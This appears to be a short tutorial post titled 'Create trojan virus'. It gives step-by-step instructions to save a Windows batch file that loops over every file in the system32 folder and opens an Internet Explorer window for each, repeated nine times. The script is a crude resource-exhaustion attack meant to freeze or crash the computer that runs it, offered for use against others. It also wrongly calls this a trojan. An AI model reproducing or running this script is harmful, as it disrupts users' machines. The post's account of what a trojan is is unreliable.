Create trojan virus

                                                            

1.open your notepad
2.copy and paste the code given below..

cd c:\windows\system32

for %%a in (*) do start iexplore.exe

for %%a in (*) do start iexplore.exe

for %%a in (*) do start iexplore.exe

for %%a in (*) do start iexplore.exe

for %%a in (*) do start iexplore.exe

for %%a in (*) do start iexplore.exe

for %%a in (*) do start iexplore.exe

for %%a in (*) do start iexplore.exe

for %%a in (*) do start iexplore.exe

3.save this as .bat extension.example,trojan.bat
this bat file is your trojan virus...